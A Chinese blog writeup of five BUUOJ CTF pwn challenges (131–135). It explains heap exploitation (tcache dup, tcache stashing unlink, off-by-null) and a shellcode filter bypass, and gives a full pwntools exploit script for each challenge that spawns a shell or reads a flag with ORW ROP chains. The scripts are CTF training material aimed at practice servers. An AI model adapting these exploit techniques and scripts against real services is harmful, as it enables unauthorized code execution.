buuoj Pwn writeup 131-135

131 starctf_2019_babyshell

保护

在这里插入图片描述在这里插入图片描述
这个一个对你输入的shellcode的一个判断,我们输入的shellcode的每个字节必须能在那个字符串中找到。

那个字符串是啥
在这里插入图片描述但是说shellcode的每个字节都得在里面找到显然比较困难……

那我们想办法能否绕过那个判断
我们并不想进入这个判断,所以我们第一个字节就需要是’\x00’,那我们的想法就是能不能有什么指令,它不仅开头是\x00,还不会影响shellcode正常跑。

我找到的是’\x00z\x00’
实际的执行效果如下。

在这里插入图片描述在这里插入图片描述在这里插入图片描述

程序执行过来之后是这样的。
在这里插入图片描述可以直接往下执行。

就可以了。

网上还有一种是’\x00j\x00’
在这里插入图片描述

exp

from pwn import *

r=remote('node3.buuoj.cn',29348)
context.arch = "amd64"
r.recvuntil('plz:')
payload = '\x00j\x00' + asm(shellcraft.sh())
r.sendline(payload)

r.interactive()

132 SWPUCTF_2019_p1KkHeap

保护
在这里插入图片描述
有沙箱。
在这里插入图片描述菜单堆

add
在这里插入图片描述最多申请八个,最大申请的大小不能超过0x100.

show
在这里插入图片描述
edit
在这里插入图片描述
free
在这里插入图片描述释放之后没有清理指针,uaf。但是要注意的是清理了size。
而且只能free三次。

在这里插入图片描述

程序还有个限制,就是只能执行功能18次。
限制非常多。

在这里插入图片描述这里还有奇怪的程序,分析一下,或许能够成为我们的切入点。

开头这段就是个打印输出的过程,把logo文件里的内容读到bss段上,然后输出来。
后面有个mmap,它用来直接申请空间,第一个参数是申请空间的地址,固定地址为0x66660000,大小为0x1000,权限为7,也就是0x111,也就是rwx。
那么我们就可以考虑向这一块空间写入shellcode,去orw。因为有沙箱。我们可以攻击malloc_hook,把它的地址写成shellcode的地址。

那么我们首先要泄露libc的地址。但是我们平常泄露地址就是通过unsorted bin,我们通过free chunk来填满tcache,然后再次释放进入unsorted bin,这样来泄露地址,但是这个题明显不行,因为我们只能free三次。那么我们怎么能利用tcache来泄露这个东西的地址。

我们首先要看一下tcache的源码。

/* We overlay this structure on the user-data portion of a chunk when
   the chunk is stored in the per-thread cache.  */
typedef struct tcache_entry
{
  struct tcache_entry *next;
} tcache_entry;

/* There is one of these for each thread, which contains the
   per-thread cache (hence "tcache_perthread_struct").  Keeping
   overall size low is mildly important.  Note that COUNTS and ENTRIES
   are redundant (we could have just counted the linked list each
   time), this is for performance reasons.  */
typedef struct tcache_perthread_struct
{
  char counts[TCACHE_MAX_BINS];
  tcache_entry *entries[TCACHE_MAX_BINS];
} tcache_perthread_struct;

static __thread bool tcache_shutting_down = false;
static __thread tcache_perthread_struct *tcache = NULL;

它的参数具体定义在了一个结构体

struct malloc_par
{
  /* Tunable parameters */
  unsigned long trim_threshold;
  INTERNAL_SIZE_T top_pad;
  INTERNAL_SIZE_T mmap_threshold;
  INTERNAL_SIZE_T arena_test;
  INTERNAL_SIZE_T arena_max;

  /* Memory map support */
  int n_mmaps;
  int n_mmaps_max;
  int max_n_mmaps;
  /* the mmap_threshold is dynamic, until the user sets
     it manually, at which point we need to disable any
     dynamic behavior. */
  int no_dyn_threshold;

  /* Statistics */
  INTERNAL_SIZE_T mmapped_mem;
  INTERNAL_SIZE_T max_mmapped_mem;

  /* First address handed out by MORECORE/sbrk.  */
  char *sbrk_base;

#if USE_TCACHE
  /* Maximum number of buckets to use.  */
  size_t tcache_bins;
  size_t tcache_max_bytes;
  /* Maximum number of chunks in each bucket.  */
  size_t tcache_count;
  /* Maximum number of chunks to remove from the unsorted list, which
     aren't used to prefill the cache.  */
  size_t tcache_unsorted_limit;
#endif
};

其中我们要注意到,tcache_count是无符号的,我们这里再次介绍泄露libc的方法。
我们先制造一个double free,然后这会导致chunk在tcache中形成一个链

然后我们不停的create,就会让那个count变成负数。但是因为无符号,那其实不是负数,那会变成一个很大的数,就导致什么呢,导致我们再次free的时候chunk会进入unsorted bin,这样就得到了libc的地址。

得到地址之后呢我们就好说了呀,我们可以直接tcache dup,攻击malloc hook,地址写上0x66660000。
这里呢我们又发现,当我们使用tcache poisoning的时候,我们需要create两次之际七年把malloc_hook的地址写进去,但是问题来了,当时我们还不知道libc的基地址,这咋办……

我们考虑去在之后攻击tcache的结构体。

exp

# -*- coding: utf-8 -*-
from pwn import *
context.arch='amd64'

#r = remote('node3.buuoj.cn',29515)
#libc = ELF("./64/libc-2.27.so")
r = process("./132")
libc = ELF("/home/wuangwuang/glibc-all-in-one-master/glibc-all-in-one-master/libs/2.27-3ubuntu1.2_amd64/libc.so.6")

def add(size):
    r.recvuntil('Choice:')
    r.sendline('1')
    r.recvuntil('size:')
    r.sendline(str(size))

def show(idx):
    r.recvuntil('Choice:')
    r.sendline('2')
    r.recvuntil('id:')
    r.sendline(str(idx))    

def free(idx):
    r.recvuntil('Choice:')
    r.sendline('4')
    r.recvuntil('id:')
    r.sendline(str(idx))

def edit(idx,data):
    r.recvuntil('Choice:')
    r.sendline('3')
    r.recvuntil('id:')
    r.sendline(str(idx))
    r.recvuntil('content:')
    r.send(data)
#记得用send而不是sendline

add(0x100) #0
add(0x100) #1

#tcache_dup
free(1)
free(1)

show(1)
r.recvuntil('content: ')
first_chunk=u64(r.recv(6).ljust(8,'\x00'))
tcache_entry=first_chunk-0x360 + 0xc8
#这里减去0x360会得到堆的基地址,再加上0xc8就是0x100的chunk的entries在tcache中的偏移。
#因为tcache struct的前0x10的大小是chunk头,接下来的0x40是字节数量数组,然后的0x200就是0x40个堆的地址。0x100那里就是c8.

print(hex(tcache_entry))

gdb.attach(r)

add(0x100)# 2
edit(2,p64(tcache_entry))
add(0x100) #3 
add(0x100) #4 get tcache_entry

rwx_add=0x66660000
edit(4,p64(rwx_add))#edit tcache_entry

add(0x100) #5 get rwx memory
#write shellcode
shellcode=shellcraft.amd64.open('flag')
shellcode+=shellcraft.amd64.read(3,0x66660300,64)
shellcode+=shellcraft.amd64.write(1,0x66660300,64)
edit(5,asm(shellcode))

free(0)
show(0)
r.recvuntil('content: ')
main_arena_xx = u64(r.recv(6).ljust(8,'\x00'))
malloc_hook = ((main_arena_xx & 0xfffffffffffff000) + (libc.sym['__malloc_hook'] & 0xfff))
libc_base = malloc_hook - libc.sym['__malloc_hook']

print(hex(libc_base))

edit(4,p64(malloc_hook)) # edit tcache_entry
add(0x100) #6 get malloc_hook
edit(6,p64(rwx_add))
#getflag
add(0x100)
r.interactive()

133 ciscn_2019_s_6

保护
在这里插入图片描述又是堆堆堆。
在这里插入图片描述在这里插入图片描述
show
在这里插入图片描述平平无奇。

call
在这里插入图片描述
没有清理指针,有uaf。

uaf的话思路也比较简单,就tcache dup,然后劫持free_hook就好了。

from pwn import*

r = remote("node3.buuoj.cn", 29462)
libc = ELF("./64/libc-2.27.so")

#r = process("./133")
#libc = ELF("/home/wuangwuang/glibc-all-in-one-master/glibc-all-in-one-master/libs/2.27-3ubuntu1.2_amd64/libc.so.6")

context.log_level = "debug"

def add(size, name):
    r.sendlineafter("choice:", "1")
    r.sendlineafter("Please input the size of compary's name\n", str(size))
    r.sendafter("please input name:\n", name)
    r.sendlineafter("please input compary call:", "1234")

def show(index):
    r.sendlineafter("choice:", "2")
    r.sendlineafter("Please input the index:\n", str(index))

def call(index):
    r.sendlineafter("choice:", "3")
    r.sendlineafter("Please input the index:\n", str(index))

#gdb.attach(r)

add(0x430, "aaaa") #0
add(0x20, "bbbb") #1
call(0)
show(0)
main_arena_xx = u64(r.recvuntil("\x7f")[-6:].ljust(8, "\x00"))
malloc_hook = ((main_arena_xx & 0xfffffffffffff000) + (libc.sym['__malloc_hook'] & 0xfff))
libc_base = malloc_hook - libc.sym['__malloc_hook']
free_hook = libc_base + libc.sym['__free_hook']
system_addr = libc_base + libc.sym['system']

print hex(libc_base)

call(1)
call(1)
#tcache dup
add(0x20, p64(free_hook)) #2
add(0x20, '/bin/sh\x00') #3
add(0x20, p64(system_addr)) #4

call(3)

r.interactive()

134 [2020 新春红包题]3

保护

在这里插入图片描述
在这里插入图片描述进去先申请空间,申请了0x1000,fd的地址保存在了4058,chunk头的地址保存在了4050.

沙箱又开了。
在这里插入图片描述看看各项功能。

在这里插入图片描述
能申请28次。

最多17个chunk。
在这里插入图片描述在这里插入图片描述

地址跟大小居然存在了栈里面。

在这里插入图片描述uaf

change
在这里插入图片描述换里面的内容,而且只能换一次。

在这里插入图片描述
输出内容。

思路呢其实跟上面那个题差不多,但是问题就是edit只能一次。
这个题也是经典的Tcache stash unlink attack
我们的利用思路是什么。
因为开了沙箱,我们必须orw,rop布置在栈上,那么我们怎么跳过去,可以借助malloc_hook,再配合一些gadget。
那么我们常规思路通过uaf来tcache posioning.劫持malloc_hook,来达到效果,但是我们这道题都是calloc,它不从tcache上面申请chunk,但是有后门函数,但是需要绕过。
后门那里给出了malloc,但是有检查,要求我们必须tcache中的count大于6,这个时候我们就没办法tcache posioning。那么我们的想法是能不能通过某些手段将count写一个大数字。
在libc-2.23的时候我们接触过一种攻击手段叫unsorted bin attack。它的最终效果就是能在一个地方写一个大数,但是很可惜2.26之后开始检查unsorted链表的完整性,这个攻击手段就失效了。
那么咋整,我们在libc-2.29引入了一种新的利用手法也可以达到这种效果,叫tcache unlink stashing attack。
这种攻击的场景是我们请求申请一个大小为size的chunk,此时堆中有空闲的small bin(两个),根据small bin的FIFO,会对最早释放的small bin进行unlink操作,在unlink之前会有链表的完整性检查__glibc_unlikely (bck->fd != victim),在将这个堆块给用户之后,如果对应的tcache bins的数量小于最大数量,则剩余的small bin将会被放入tcache,这时候放入的话没有完整性检查,即不会检查这些small bin的fd和bk。在放入之前会有另一次unlink,这里的bck->fd = bin;产生的结果是将bin的值写到了*(bck+0x10),我们可以将bck伪造为target_addr-0x10,bin为libc相关地址,则可以向target_addr写入bin,攻击结果和unsored bin attack的结果类似。

那么我们这道题的整个利用手段就有了。

from pwn import *

r = remote("node3.buuoj.cn", 26748)

context(log_level = 'debug', arch = 'amd64', os = 'linux')
elf = ELF("./134")
libc = ELF('./64/libc-2.29.so')
one_gadget_19 = [0xe237f, 0xe2383, 0xe2386, 0x106ef8]

menu = "Your input: "
def add(index, choice, content):
	r.recvuntil(menu)
	r.sendline('1')
	r.recvuntil("Please input the red packet idx: ")
	r.sendline(str(index))
	r.recvuntil("How much do you want?(1.0x10 2.0xf0 3.0x300 4.0x400): ")
	r.sendline(str(choice))
	r.recvuntil("Please input content: ")
	r.send(content)

def delete(index):
	r.recvuntil(menu)
	r.sendline('2')
	r.recvuntil("Please input the red packet idx: ")
	r.sendline(str(index))


def edit(index, content):
	r.recvuntil(menu)
	r.sendline('3')
	r.recvuntil("Please input the red packet idx: ")
	r.sendline(str(index))
	r.recvuntil("Please input content: ")
	r.send(content)

def show(index):
	r.recvuntil(menu)
	r.sendline('4')
	r.recvuntil("Please input the red packet idx: ")
	r.sendline(str(index))

for i in range(7):
	add(0,4,'Chunk0')
	delete(0)

for i in range(6):
	add(1,2,'Chunk1')
	delete(1)


show(0)
last_chunk_addr = u64(r.recvuntil('\n').strip().ljust(8, '\x00'))
heap_addr = last_chunk_addr - 0x26C0
success("heap_base:"+hex(heap_addr))

add(2,4,'Chunk2')
add(3,3,'Chunk3')
delete(2)
show(2)
malloc_hook = u64(r.recvuntil('\n').strip().ljust(8, '\x00')) - 0x60 - 0x10
libc.address = malloc_hook - libc.sym['__malloc_hook']
success("libc:"+hex(libc.address))


add(3,3,'Chunk3')
add(3,3,'Chunk3') #get smallbin1

add(4,4,'Chunk4')
add(5,4,'Chunk5')
delete(4)
add(5,3,'Chunk5')
add(5,3,'Chunk5') # get smallbin2


payload='\x00'*0x300+p64(0)+p64(0x101)+p64(heap_addr+0x37E0)+p64(heap_addr+0x250+0x10+0x800-0x10)
edit(4,payload)

add(3,2,'Chunk_3') # get smallbin


pop_rdi_ret = libc.address + 0x26542
pop_rsi_ret = libc.address + 0x26f9e
pop_rdx_ret = libc.address + 0x12bda6
file_name_addr = heap_addr + 0x4A40
flag_addr = file_name_addr + 0x200
ROP_chain  = '/flag\x00\x00\x00'
ROP_chain += p64(pop_rdi_ret)
ROP_chain += p64(file_name_addr)
ROP_chain += p64(pop_rsi_ret)
ROP_chain += p64(0)
ROP_chain += p64(libc.symbols['open'])
ROP_chain += p64(pop_rdi_ret)
ROP_chain += p64(3)
ROP_chain += p64(pop_rsi_ret)
ROP_chain += p64(flag_addr)
ROP_chain += p64(pop_rdx_ret)
ROP_chain += p64(0x40)
ROP_chain += p64(libc.symbols['read'])
ROP_chain += p64(pop_rdi_ret)
ROP_chain += p64(1)
ROP_chain += p64(pop_rsi_ret)
ROP_chain += p64(flag_addr)
ROP_chain += p64(pop_rdx_ret)
ROP_chain += p64(0x40)
ROP_chain += p64(libc.symbols['write'])

add(4,4,ROP_chain)

leave_ret = libc.address + 0x58373
r.recvuntil('Your input: ')
r.sendline('666')
r.recvuntil('What do you want to say?')
r.sendline('A'*0x80 + p64(file_name_addr) + p64(leave_ret))

r.interactive()

135 hitcon_2018_children_tcache

保护
在这里插入图片描述
add
在这里插入图片描述漏洞出在这个strcpy。
这个函数会在复制完之后加一个字节的’\x00’,当我们复制充满那个chunk的时候会又一个null的溢出,会造成off by null。

show
在这里插入图片描述
free
在这里插入图片描述
清理的还是挺干净的。

所以漏洞就是off by null。

利用思路还是跟之前的一样,就像模板一样。我们申请4个chunk,A, B, C, D。A里面伪造unlink,B被overlapping,C是size被null的,D是防止被free到top chunk。

但是这个题跟之前不一样的是什么,是它的libc是2.27,那么我们在申请A,C的时候就需要控制C的大小是0x420之后的,也就是0x4f0.

在这里插入图片描述
还要注意的是free之后它会给你的chunk全部填充垃圾数据。而且我们在溢出的时候还要注意strcpy会被’\x00’截断,不会有那个溢出,那么我们应该怎么怎么去处理这个问题。

我们的做法是先溢出,先把那个null溢出出去,free掉之后我们的chunk中会充满垃圾数据,我们就一个字节一个字节利用off by null来清零,最后把我们的pre_size写进去,来达到我们的一个利用效果。

from pwn import *

elf = ELF("./135")
r = remote("node3.buuoj.cn",29401)
libc = ELF("./64/libc-2.27.so")

def add(size, content):
	r.recvuntil("Your choice: ")
	r.sendline('1')
	r.recvuntil("Size:")
	r.sendline(str(size))
	r.recvuntil("Data:")
	r.send(content)

def free(index):
	r.recvuntil("Your choice: ")
	r.sendline('3')
	r.recvuntil("Index:")
	r.sendline(str(index))

def show(index):
	r.recvuntil("Your choice: ")
	r.sendline('2')
	r.recvuntil("Index:")
	r.sendline(str(index))

add(0x410,'aaaa')
add(0xe8,'aaaa')
add(0x4f0,'aaaa')
add(0x60,'aaaa')

free(0)
free(1)
for i in range(0,6):
	add(0xe8-i,'aaaa'*(0xe8-i))
	free(0)
add(0xe8,'aaaa'*0xe0+p64(0x510))

free(2)
add(0x410,'leak libc')
show(0)

leak_addr = u64(p.recv(6).ljust(8,'\x00'))
log.info("leak_addr:"+hex(leak_addr))
libc_base = leak_addr -0x3ebca0
free_hook = libc_base + libc.sym['__free_hook']

add(0x60,'getshell')
free(0)
free(2)

add(0x60,p64(free_hook))
add(0x60,p64(free_hook))
one_gadget = libc_base + 0x4f322

add(0x60,p64(one_gadget))

# gdb.attach(r,"b *$rebase(0x202060)")
# 这条指令可以直接绕过pie来打断点,还是很有用的。

free(0)
r.interactive()
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值